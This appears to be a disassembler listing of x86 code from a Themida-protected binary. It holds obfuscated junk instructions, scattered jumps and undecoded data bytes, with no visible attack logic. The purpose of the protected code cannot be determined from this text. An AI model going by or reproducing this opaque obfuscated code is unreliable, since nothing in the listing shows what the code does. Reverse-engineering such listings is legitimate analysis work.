		push	ebx
		mov	ebx, 4C7C07E1h
		jmp	loc_5AA359
; ---------------------------------------------------------------------------
		dw 8404h
		dd 80B0B652h, 0B35393F6h, 0FE38087h, 0FFE56DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA16D:				; CODE XREF: Themida_:00596B8Fj
		pop	esp
		add	esi, edx
		jmp	loc_5A1C02
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FEBD0FE9h, 0E900B1FFh, 0FFFFDB5Ch
; ---------------------------------------------------------------------------


loc_5AA184:				; CODE XREF: Themida_:0059A85Ej
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_599990
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	1DEh
		jmp	loc_59689B
; ---------------------------------------------------------------------------


loc_5AA1B3:				; CODE XREF: Themida_:0059BE0Dj
		push	edx
		mov	edx, 36EED542h
		add	esi, 73EF58AAh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7B015B6Eh
		jmp	loc_596285
; ---------------------------------------------------------------------------


loc_5AA1D2:				; CODE XREF: Themida_:0059E6C3j
		neg	ebp
		add	ebp, 50AA85AAh
		xor	ecx, ebp
		pop	ebp
		jmp	loc_59837E
; ---------------------------------------------------------------------------


loc_5AA1E2:				; CODE XREF: Themida_:005A4B48j
		push	4ADAh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_595E8C
; ---------------------------------------------------------------------------


loc_5AA1F1:				; CODE XREF: Themida_:005AA3DAj
		add	ch, 37h
		sub	ch, 81h
		jmp	loc_599BE8
; ---------------------------------------------------------------------------
		dd 4C481h, 0C3830000h, 74FF5302h, 34FF0424h, 241C8B24h
		dd 0E9E68956h, 0FFFF91CDh, 4C581h, 0E9520000h, 0FFFEBDABh
		dd 0ED14EABFh, 0E9FA0107h, 0FFFEE5A3h
; ---------------------------------------------------------------------------


loc_5AA230:				; CODE XREF: Themida_:0059AA37j
		mov	[esp], edi
		push	742E137Ch
		jmp	loc_596BF1
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 0FF09DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA249:				; CODE XREF: Themida_:005A69ECj
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0B1h
		dd 29392A94h, 0F1E95EF0h, 89FFFF04h, 4C281E2h, 83000000h
		dd 9DE904EAh, 5BFFFFCFh, 0FEE94AE9h, 0C8B66FFh,	6D316824h
		dd 0B4E90000h, 5CFFFEEEh, 0B60FC330h, 148B66C0h, 0E3895324h
		dd 0B6BE5652h, 531A9D61h, 0FEFFB2E9h, 88D4F6FFh, 2434FFE2h
		dd 4C48158h, 68000000h,	0
		dd 0FEDA3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA2B9:				; CODE XREF: Themida_:0059FDFBj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A3E3C
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 6AE95524h, 2DFFFF32h, 0EE043A7h, 406C9005h
		dd 712D5D66h, 2930924Fh, 4F7105E8h, 0BB533092h,	68747FFFh
		dd 0EB81DBF7h, 647B08CFh, 34FFD829h, 0C4835B24h, 667E2D04h
		dd 2C8B5283h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0ABEAE951h, 3C87FFFFh, 55B8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA32A:				; CODE XREF: Themida_:005A9A37j
		and	edi, 2199486Dh
		jmp	loc_5A74AF
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0C5h
		dd 2960DF43h, 0EB015AD3h, 43C5C381h, 34FF60DFh,	9FE95D24h
		dd 0ADFFFFA4h, 5055D831h, 0FF500AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA359:				; CODE XREF: Themida_:005AA155j
		push	edi
		mov	edi, 596D378Ch
		sub	ebx, edi
		pop	edi
		sub	ebx, 0B304BC4Eh
		sub	esi, 34E34DABh
		jmp	loc_5A6C30
; ---------------------------------------------------------------------------


loc_5AA373:				; CODE XREF: Themida_:00599D5Dj
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_595E93
; ---------------------------------------------------------------------------
		dw 83BEh
		dd 872FE47Dh, 87D7F7FEh, 8DC681FEh, 0F7026234h,	0CEB2E9D6h
		dd 8158FFFFh, 2ECh, 0F8BAE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA3A6:				; CODE XREF: Themida_:005A1FAEj
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	ecx
		jmp	loc_59ED6A
; ---------------------------------------------------------------------------
		db 4, 0EDh, 51h
		dd 0C5FE75B5h, 0E9D0C580h, 0FFFFB357h
; ---------------------------------------------------------------------------


loc_5AA3C0:				; CODE XREF: Themida_:0059A938j
		pop	esp
		add	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_59FEA1
; ---------------------------------------------------------------------------


loc_5AA3D1:				; CODE XREF: Themida_:00596454j
		sub	ch, 20h
		add	ch, 0C5h
		shl	ch, 5
		jmp	loc_5AA1F1
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFBCA0E9h, 2434FFFFh, 0FF1CE0E9h, 6F1DBAFFh, 58E943F9h
		dd 0FFFFFFF7h, 8B042474h, 0C4832434h, 24048F04h, 2404895Ch
		dd 0FF8DE7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA40D:				; CODE XREF: Themida_:005AAA2Cj
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A9853
; ---------------------------------------------------------------------------


loc_5AA421:				; CODE XREF: Themida_:0059DFA8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59E541
; ---------------------------------------------------------------------------
		dd 84C7814Fh, 0E9820C8Ah, 0FFFFEEA1h
; ---------------------------------------------------------------------------


loc_5AA438:				; CODE XREF: Themida_:0059F24Aj
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	ah, 0CFh
		sub	ah, 0F2h
		mov	dl, 3Ch
		sub	dl, 36h
		jmp	loc_59FAE9
; ---------------------------------------------------------------------------


loc_5AA44E:				; CODE XREF: Themida_:00597A0Bj
		sub	esi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 47A40BD1h
		push	esi
		mov	esi, 6F622EB0h
		add	esi, 4D8A3968h
		or	esi, 50593613h
		add	esi, 0FFFFFFFFh
		sub	esi, 0C57B2EA6h
		add	ecx, esi
		jmp	loc_59FE24
; ---------------------------------------------------------------------------


loc_5AA479:				; CODE XREF: Themida_:005A0EE0j
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_5A8F01
; ---------------------------------------------------------------------------
		db 8Bh
		dd 36E92424h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA49F:				; CODE XREF: Themida_:00597A53j
		sub	al, 0E4h
		jmp	loc_5A017C
; ---------------------------------------------------------------------------


loc_5AA4A6:				; CODE XREF: Themida_:00596E43j
		mov	ebx, [esp]
		jmp	loc_5A9650
; ---------------------------------------------------------------------------


loc_5AA4AE:				; CODE XREF: Themida_:005AB0B4j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59758D
; ---------------------------------------------------------------------------
		dd 1D5CC581h, 0F2E971DCh
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA4C7:				; CODE XREF: Themida_:005A8AD2j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	edx
		mov	edx, 622E6285h
		jmp	loc_595EDA
; ---------------------------------------------------------------------------
		dd 2404FF66h, 2985E99Ch, 8956FFFFh, 4C681E6h, 83000000h
		dd 348704EEh, 3C895C24h, 2F45E924h, 77FFFFFFh, 58669D1Ch
		dd 24041966h, 0B97EE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA50E:				; CODE XREF: Themida_:005A0810j
		std
		mov	ecx, 350750C7h
		push	0
		sub	[esp], ecx
		jmp	loc_5A35C9
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 4EB81h, 1C870000h, 34895C24h, 5D116824h, 9CE90000h
		dd 5800000Bh, 0FF4F4CE9h, 68E089FFh, 696Fh, 55243C89h
		dd 6D51B951h, 0CD897B35h, 0E9240C8Bh, 0FFFFCFBCh, 9A2DE95Ch
		dd 0FD29FFFFh, 0FF9161E9h, 48B66FFh, 63E76824h,	2C890000h
		dd 4EC8124h, 54000000h,	8124048Fh, 42404h, 2C8B0000h, 4C48124h
		dd 81000000h, 4C5h, 2F196800h, 34890000h, 2BE24h, 0ED810000h
		dd 47F40A04h, 0EE9F501h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA5B3:				; CODE XREF: Themida_:00598B2Bj
		mov	eax, ecx
		pop	ecx
		jmp	loc_59D550
; ---------------------------------------------------------------------------


loc_5AA5BB:				; CODE XREF: Themida_:0059D004j
		sub	esi, ebx
		pop	ebx
		pop	eax
		jmp	loc_5A36A0
; ---------------------------------------------------------------------------
		dd 6624248Bh, 6866E9F7h, 8966142Eh, 50662414h, 0B8B2E99Ch
		dd 0C581FFFEh, 3E775044h, 0D1F7CD87h, 0F9E9CD87h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA5EB:				; CODE XREF: Themida_:0059C48Ej
		shl	eax, 2
		add	eax, 3DB535FCh
		or	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4A213541h
		shr	ebx, 2
		xor	ebx, 44D94A57h
		and	ebx, 4FC50BD9h
		dec	ebx
		sub	ebx, 0A64082FBh
		sub	ecx, 55003490h
		add	ecx, ebx
		add	ecx, 55003490h
		pop	ebx
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	esi, 5540A11h
		xchg	eax, esi
		jmp	loc_59B70C
; ---------------------------------------------------------------------------


loc_5AA642:				; CODE XREF: Themida_:005A9CCCj
		add	esp, 4
		pop	edi
		shl	ebp, 1
		push	edx
		jmp	loc_5A4634
; ---------------------------------------------------------------------------


loc_5AA651:				; CODE XREF: Themida_:005AB224j
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, esi
		jmp	loc_59D158
; ---------------------------------------------------------------------------
		dd 405h, 9CBCE900h, 585AFFFFh, 0A6E9F029h, 57FFFFD7h, 4BFh
		dd 5FFD2900h, 31242C33h, 2C33242Ch, 24248B24h, 0E9243C89h
		dd 0FFFFF36Fh, 2B60F66h, 6E716866h, 24048966h, 0FEB7EBE9h
		dd 0E5E95DFFh
		db 0B7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA6A7:				; CODE XREF: Themida_:00597668j
		add	ebx, 3A59012Ch
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A67A1
; ---------------------------------------------------------------------------


loc_5AA6C5:				; CODE XREF: Themida_:005A7F1Ej
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	esi
		jmp	loc_5AAE35
; ---------------------------------------------------------------------------
		db 81h
		dd 2E8E2F2h, 0A8B1BB33h, 0EB81CFA8h, 384277F9h,	0FFB00DE9h
		dd 89505EFFh, 58C789E8h, 0FEE463E9h, 81C101FFh,	5E503FE9h
		dd 2434FF49h, 4C48358h,	0FFB3F8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA71D:				; CODE XREF: Themida_:005A2EACj
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		push	edx
		mov	edx, 8583EB3h
		mov	ebx, edx
		pop	edx
		jmp	loc_59C4A1
; ---------------------------------------------------------------------------
		db 57h
		dd 9A5F32BFh, 0E9FD8963h, 0FFFF114Dh, 4BD55h, 0EA010000h
		dd 0FED0B9E9h, 0B73AE9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA752:				; CODE XREF: Themida_:0059DD45j
		pop	ebp
		jmp	loc_5966A8
; ---------------------------------------------------------------------------
		dd 2474FF53h, 48F5B04h,	24248B24h, 9C2424D2h, 0FEB71FE9h
		dd 58BD55FFh, 0E97ACC5Ch, 0FFFFFD44h, 0E924048Fh, 0FFFF13FDh
		dd 0BF7D7DBAh, 0E9D7317Fh, 0FFFF3D20h
; ---------------------------------------------------------------------------


loc_5AA78C:				; CODE XREF: Themida_:005A6894j
		mov	[esp], esp
		jmp	loc_598ED2
; ---------------------------------------------------------------------------


loc_5AA794:				; CODE XREF: Themida_:005A9738j
		push	esi
		push	4
		pop	esi
		jmp	loc_5991CC
; ---------------------------------------------------------------------------
		dd 0E95EF389h, 0FFFF1717h, 0FEB6DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA7AD:				; CODE XREF: Themida_:005A43B9j
		pop	esp
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_599B28
; ---------------------------------------------------------------------------
		db 68h
		dd 13506AB3h, 1EC98159h, 413C6727h, 0FF1124E9h,	4EC83FFh
		dd 89243489h, 0F3BB53E6h, 532CD854h, 0E92404FFh, 0FFFFC6EDh
		dd 6319EB81h, 0C3294F48h, 6319C381h, 0B9514F48h, 74936DCDh
		dd 37C181h, 0C1832A83h,	53E1D1FFh, 0FEC995E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA809:				; CODE XREF: Themida_:00599057j
		add	esi, 3CAD57A0h
		jmp	loc_5A8F9E
; ---------------------------------------------------------------------------


loc_5AA814:				; CODE XREF: Themida_:00597541j
		push	6AB1h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 1786448Bh
		xor	ecx, 17A6448Bh
		mov	edi, ecx
		pop	ecx
		push	0B75h
		mov	[esp], edi
		push	3314h
		mov	[esp], edi
		push	edx
		mov	edx, 5630BC7h
		mov	edi, 2A2343E6h
		add	edi, edx
		pop	edx
		add	dword ptr [esp+4], 56E30FFAh
		jmp	loc_5999C3
; ---------------------------------------------------------------------------


loc_5AA85C:				; CODE XREF: Themida_:0059ADC8j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5A5485
; ---------------------------------------------------------------------------
		dd 80E9D001h, 5FFFF50h,	2526198Ch, 0A6A13540h, 0C689BBE6h
		dd 0FF4815E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA885:				; CODE XREF: Themida_:005A8B02j
		sub	esi, 0CC07BD3h
		jmp	loc_5A223F
; ---------------------------------------------------------------------------


loc_5AA890:				; CODE XREF: Themida_:005A1D50j
		mov	ebp, 164E6D15h
		xor	eax, ebp
		pop	ebp
		push	edi
		jmp	loc_59607C
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFEBD8Ah, 395BBE56h, 9AE943CDh
		db 0C0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA8AF:				; CODE XREF: Themida_:005A74BDj
		xor	ecx, 8C16338h
		or	edi, ecx
		pop	ecx
		add	edi, 1
		jmp	loc_5983C3
; ---------------------------------------------------------------------------
		dd 6E0C68h, 24348900h, 42474FFh, 0FF8D3DE9h, 240C31FFh
		dd 5C240C33h, 497968h, 24148900h, 4BAh,	5AD10100h, 0FF4E5DE9h
		dd 0EAEA81FFh, 21B6EBB4h, 0E6C15AD6h, 78EE8107h, 2986FFDDh
		dd 0B9515EF2h, 74761F14h, 0FF5EA7E9h, 76EA80FFh, 582434FFh
		dd 4C481h, 0DAE90000h, 0FFFFFF18h, 815E2434h, 4C4h, 4735E900h
		dd 30ACFFFFh, 7EBE68D8h, 0C890000h, 38E95124h, 89FFFFD6h
		dd 0A720E9F2h, 0EA81FFFFh, 578201C6h, 3578C281h, 0C2017B28h
		dd 3578EA81h, 12E97B28h, 0BBFFFEF2h, 65934F76h,	1C8BD829h
		dd 4C48124h, 68000000h,	53D2h, 0E9241C89h, 0FFFF2082h
; ---------------------------------------------------------------------------


loc_5AA97C:				; CODE XREF: Themida_:005A5410j
		shl	ebp, 1
		jmp	loc_5A33F0
; ---------------------------------------------------------------------------
		db 0BEh
		dd 33D5BAFh, 6CC5EE81h,	0F68110A6h, 45670944h, 152DF681h
		dd 0C681215Fh, 6CF26C55h, 144768h, 24148900h, 5410E7BAh
		dd 0FF52E90Ah, 5401FFFEh, 44810424h, 25570424h,	148B6C68h
		dd 4C48124h, 0E9000000h, 0FFFF892Eh
; ---------------------------------------------------------------------------


loc_5AA9CC:				; CODE XREF: Themida_:005A0973j
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5A7EFE
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 2
		dd 0E9FCA9EDh, 0FFFF3C6Bh, 335EF001h, 4312404h,	680EE924h
		dd 0E828FFFFh, 4D82859h, 0D8285B84h, 0C81DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAA12:				; CODE XREF: Themida_:005A8D32j
		shl	ebx, 8
		sub	ebx, 1
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	ebx, eax
		pop	eax
		xor	ebx, 0D6786004h
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_5AA40D
; ---------------------------------------------------------------------------
		db 0BBh, 7Fh, 73h
		dd 0CB317E28h, 0E9240C8Bh, 0FFFF489Bh, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 0FF2DAFE9h, 6DB7B9FFh,	0F1814751h, 72F27700h
		dd 0FF5B6CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AAA65:				; CODE XREF: Themida_:005AA0CDj
		push	esp
		jmp	loc_59AE22
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF5839E9h, 81D1F7FFh, 83ABB7E9h, 0ACE0E92Ah, 0EA29FFFFh
		dd 81242C8Bh, 4C4h, 0D5BB5300h,	81552423h, 65244CC3h, 51C38122h
		dd 1F1592Eh, 0E7B9E9DAh, 71B7FFFFh, 0FA30B0B2h,	53C2FE5Bh
		dd 0B7D7B450h, 0E9E7009Eh, 0FFFF64F1h, 2153C681h, 0EE8125B6h
		dd 682F7875h, 0BB53D6F7h, 0E7175EDh, 18CCB850h,	4D055355h
		dd 250A604Eh, 18532E07h, 0FF3DC7E9h, 31ED81FFh,	15B0E73h
		dd 0C26856FDh, 89000018h, 0E8BF243Ch, 0E9023F3Bh, 0FFFEC1B8h
		dd 0F48042B4h, 0DDEC8047h, 0E480DCF6h, 8DEC8089h, 0FED3D7E9h
		dd 21C781FFh, 0E902757Eh, 0FFFFAA07h, 1A95C581h, 0EF29B077h
		dd 81EF015Dh, 361A93C7h, 3C875D6Fh, 24248B24h, 741AB850h
		dd 44015A61h, 93E90424h, 55FFFFE2h, 48301EBDh, 9FC68100h
		dd 29029703h, 9FEE81EEh, 5D029703h, 89F28952h, 4EE95AD3h
		dd 66FFFF44h, 83240C8Bh, 2C8904ECh, 8E98E924h, 0D601FFFFh
		dd 0FEF009E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AAB79:				; CODE XREF: Themida_:005A3F03j
		shr	ebp, 6
		sub	ebp, 0E5B1539Ah
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5A5A10
; ---------------------------------------------------------------------------
		dw 2C31h
		dd 242C3324h, 0E924248Bh, 0FFFEF3DDh, 815EF031h, 4750BBEDh
		dd 81C5013Ch, 4750BBC5h, 0B850583Ch, 55CE3946h,	0AB05E0D1h
		dd 2D733731h, 556061A9h, 0FFA133E9h, 4BA52FFh, 1000000h
		dd 24148BD3h, 0FF105DE9h, 14895CFFh, 53C28824h,	0FF9491E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AABDD:				; CODE XREF: Themida_:005A9264j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A5EFE
; ---------------------------------------------------------------------------


loc_5AABEE:				; CODE XREF: Themida_:00599694j
		add	esp, 4
		push	eax
		push	edi
		mov	edi, 24A8207Eh
		jmp	loc_59AD82
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4EC81h, 34890000h, 50BA5224h, 813A2308h, 1B1BDCC2h
		dd 5AD6892Dh, 0D8BF5755h, 5198C1DBh, 0CD89F989h, 79B0E959h
		dd 0F400FFFFh, 0EC805A66h, 0FFE5888Ch, 83582434h, 0EB0004C4h
		dd 0FFE105E9h, 242C89FFh, 0FFDFD5E9h, 4EC83FFh,	89241C89h
		dd 4C381E3h, 51000000h,	301435B9h, 37E9812Bh, 49479F33h
		dd 5ADC181h, 4AE979F4h
		db 0BDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AAC6F:				; CODE XREF: Themida_:00598274j
		or	edi, ebp
		pop	ebp
		jmp	loc_5A073D
; ---------------------------------------------------------------------------
		db 89h
		dd 0E189240Ch, 4C181h, 24E90000h, 81FFFF47h, 113E9FF3h
		dd 37C3814Ah, 0E947E169h, 0FFFEB3ADh, 0E588DC88h, 0F5805B58h
		dd 2E5C0AAh, 2454F651h,	0D5865901h, 2404FE52h, 0F6D5865Ah
		dd 0B05066DDh, 66C50085h, 0EB885358h, 4BE9DC88h, 57FFFECBh
		dd 1AF16855h, 0E95D6B03h, 0FFFFA763h, 4C48159h,	83000000h
		dd 0FF5204C2h, 0E9042474h, 0FFFFA785h, 1E2EE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AACEE:				; CODE XREF: Themida_:005A8CCFj
		push	eax
		mov	eax, 62930A70h
		mov	ecx, 6E720F22h
		sub	ecx, eax
		pop	eax
		xor	ecx, 1F136C8Fh
		sub	esi, ecx
		jmp	loc_59C991
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0FD31EF31h, 0FF3241E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AAD15:				; CODE XREF: Themida_:005A93F6j
		push	ebx
		jmp	loc_5A3AAE
; ---------------------------------------------------------------------------
		db 59h
		dd 7C02E956h, 0E95EFFFFh, 0FFFEE521h, 0E981F380h, 0FFFEE003h
		dd 2474FF51h, 240C8B04h, 8F04C483h, 0E5E92404h,	0D1FFFF8Bh
		dd 7BE955EBh, 80FFFF97h, 0ECC038E4h, 0F9F48005h, 8806EC80h
		dd 246FE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAD5E:				; CODE XREF: Themida_:005A5CF7j
		pop	ebx
		push	ebx
		push	4407h
		mov	[esp], edx
		mov	edx, 4
		sub	esp, 4
		mov	[esp], edx
		mov	ebx, [esp]
		jmp	loc_5A63E7
; ---------------------------------------------------------------------------


loc_5AAD7B:				; CODE XREF: Themida_:0059BDF9j
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, 56B80FAFh
		add	ebp, eax
		jmp	loc_5AB3BB
; ---------------------------------------------------------------------------
		dd 0FEC4B353h, 0BFCB80C3h, 80D9E380h, 0EB8001EBh, 5BD8288Dh
		dd 34FF8504h, 89525924h, 4C281E2h, 56000000h, 0FF38DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AADBD:				; CODE XREF: Themida_:005A3E69j
		add	ebx, 4BDF2BEAh
		add	ebx, edx
		jmp	loc_5A4603
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 59CF0158h, 1A6D68h, 243C8900h, 243C8B58h, 0FF3C5CE9h
		dd 243C8BFFh, 81E28952h, 4C2h, 4C28100h, 87000000h, 875C2414h
		dd 685C241Ch, 607Ah, 0FED429E9h, 0B082E9FFh, 7DE9FFFEh
		dd 28FFFEB0h, 0F7C280FAh, 0E92434FFh, 0FFFFCF08h
; ---------------------------------------------------------------------------


loc_5AAE1C:				; CODE XREF: Themida_:005A3A26j
		pop	ebx
		jmp	loc_5A4AA8
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 0DE2AE952h, 0C681FFFEh, 0F4B13EAAh, 0FF6A66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AAE35:				; CODE XREF: Themida_:005AA6E2j
		push	ecx
		mov	ecx, 10E3093Dh
		mov	esi, ecx
		jmp	loc_599D03
; ---------------------------------------------------------------------------
		dw 805Bh
		dd 0C8004FF1h, 2CD00059h, 0C8285A04h, 5966CB2Ch, 8904EC83h
		dd 0E2892414h, 0FEDBDFE9h, 1E6E2DFFh, 0D80106CDh, 0CD1E6E05h
		dd 0ECE95306h, 66FFFFFAh, 68C8BE0Fh, 3113h, 54240489h
		dd 582434FFh, 4C481h, 4050000h,	0E9000000h, 0FFFF699Ah
		dd 48B9ED81h, 0EF01004Bh, 4EF815Dh, 0E9000000h,	0FFFFA8AEh
		dd 83241C8Bh, 0E68004C4h, 0B7536656h, 66FE00AEh, 81241C8Bh
		dd 2C4h, 0E9F33000h, 0FFFF7BCAh
; ---------------------------------------------------------------------------


loc_5AAEC8:				; CODE XREF: Themida_:005A3933j
		push	edi
		jmp	loc_5A42A7
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C8E95C24h, 66FFFEECh, 81240C8Bh, 4ECh, 243C8900h, 0FFDA1AE9h
		dd 81C329FFh, 452548EBh, 63BCE925h, 668FFFFh, 8900002Dh
		dd 10E92404h, 58FFFFAEh, 0D61CC281h, 0DAF73293h, 6CFCF281h
		dd 0F75241ACh, 425A2414h, 0FF2353E9h, 241489FFh, 0C25FD8BAh
		dd 14F2817Ah, 0E94B393Fh, 0FFFF5601h, 2474FF57h, 0D3E95F04h
		dd 68FFFEB8h, 3B7621FFh, 0A2E94A5Ah, 5DFFFFFAh,	1EC4CD81h
		dd 0CD811C74h, 1E383C2Ah, 0B4F58145h, 21887FEDh, 242C8BEFh
		dd 0FEB8E6E9h, 18E95BFFh, 8BFFFF4Dh, 0C483241Ch, 5EF00104h
		dd 4BB53h, 0D8290000h, 2404875Bh, 241C895Ch, 0D2E9E389h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAF8B:				; CODE XREF: Themida_:0059A6ECj
		mov	[esp], ebx
		push	348Eh
		jmp	loc_59A306
; ---------------------------------------------------------------------------
		dd 257CF681h, 0BA5201ABh, 598D3CBEh, 295AD729h,	0BEC781F7h
		dd 5E598D3Ch, 6A09EF81h, 0CF01448Ah, 6A09C781h,	7DE9448Ah
		dd 68FFFF90h, 1CE4h, 0FEBA67E9h, 4B8FFh, 0FBE90000h, 68FFFF6Ch
		dd 6E69h, 24048F54h, 0FF4964E9h, 4E983FFh, 0B961E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAFEE:				; CODE XREF: Themida_:005A0C92j
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59FE70
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 0D0E904ECh
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB007:				; CODE XREF: Themida_:0059EDE8j
		pop	eax
		add	ebx, edi
		add	ebx, 4B576E2h
		push	eax
		mov	eax, 7B935452h
		mov	dword ptr [ebx], 7B935452h
		xor	[ebx], eax
		pop	eax
		jmp	loc_5960E9
; ---------------------------------------------------------------------------
		dd 4B6CC281h, 2C8B0EE8h, 4C48124h, 33000000h, 14312414h
		dd 5302E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB03E:				; CODE XREF: Themida_:005A3279j
		pop	esi
		neg	ebp
		jmp	loc_59C7CE
; ---------------------------------------------------------------------------
		dw 4ABBh
		dd 0E90745F3h, 0FFFEB28Dh, 2434FF5Bh, 4C4815Bh,	87000000h
		dd 248B2404h, 0C896624h, 0F6E3E924h, 0C87FFFFh,	1B685C24h
		dd 89000066h, 5152242Ch, 8B4A93B9h, 96F1E96Ah, 0DEF7FFFFh
		dd 0B9514646h, 6D19470Dh, 1E1CE981h, 0F18163CEh, 21B0178Dh
		dd 3ECDE181h, 814138D4h, 0B70BAEC1h, 9CBA525Bh,	0E9A8668Ah
		dd 0FFFF91E4h
; ---------------------------------------------------------------------------


loc_5AB0B0:				; CODE XREF: Themida_:005A24C5j
		pop	edi
		push	dword ptr [esp]
		jmp	loc_5AA4AE
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 29000000h, 3F1AE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB0C6:				; CODE XREF: Themida_:005A6B57j
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 1
		shr	edx, 8
		add	edx, 0FFFFFFFFh
		dec	edx
		jmp	loc_5A8247
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 8EE90424h,	5FFFFFBFh, 8159CD89h, 0F6245EF5h
		dd 0EBBE5639h, 81470D43h, 0F551DFEDh, 81F52903h, 0F551DFC5h
		dd 7AD9E903h, 0E95EFFFFh, 0FFFF4696h, 0C2815A54h, 4, 0E902C283h
		dd 0FFFED845h, 0FBE9C1FEh, 0C1FFFF5Dh, 970507E0h, 552AD531h
		dd 6A9FB850h, 0C5892CA9h, 0FEDA11E9h, 68E3D0FFh, 2C54h
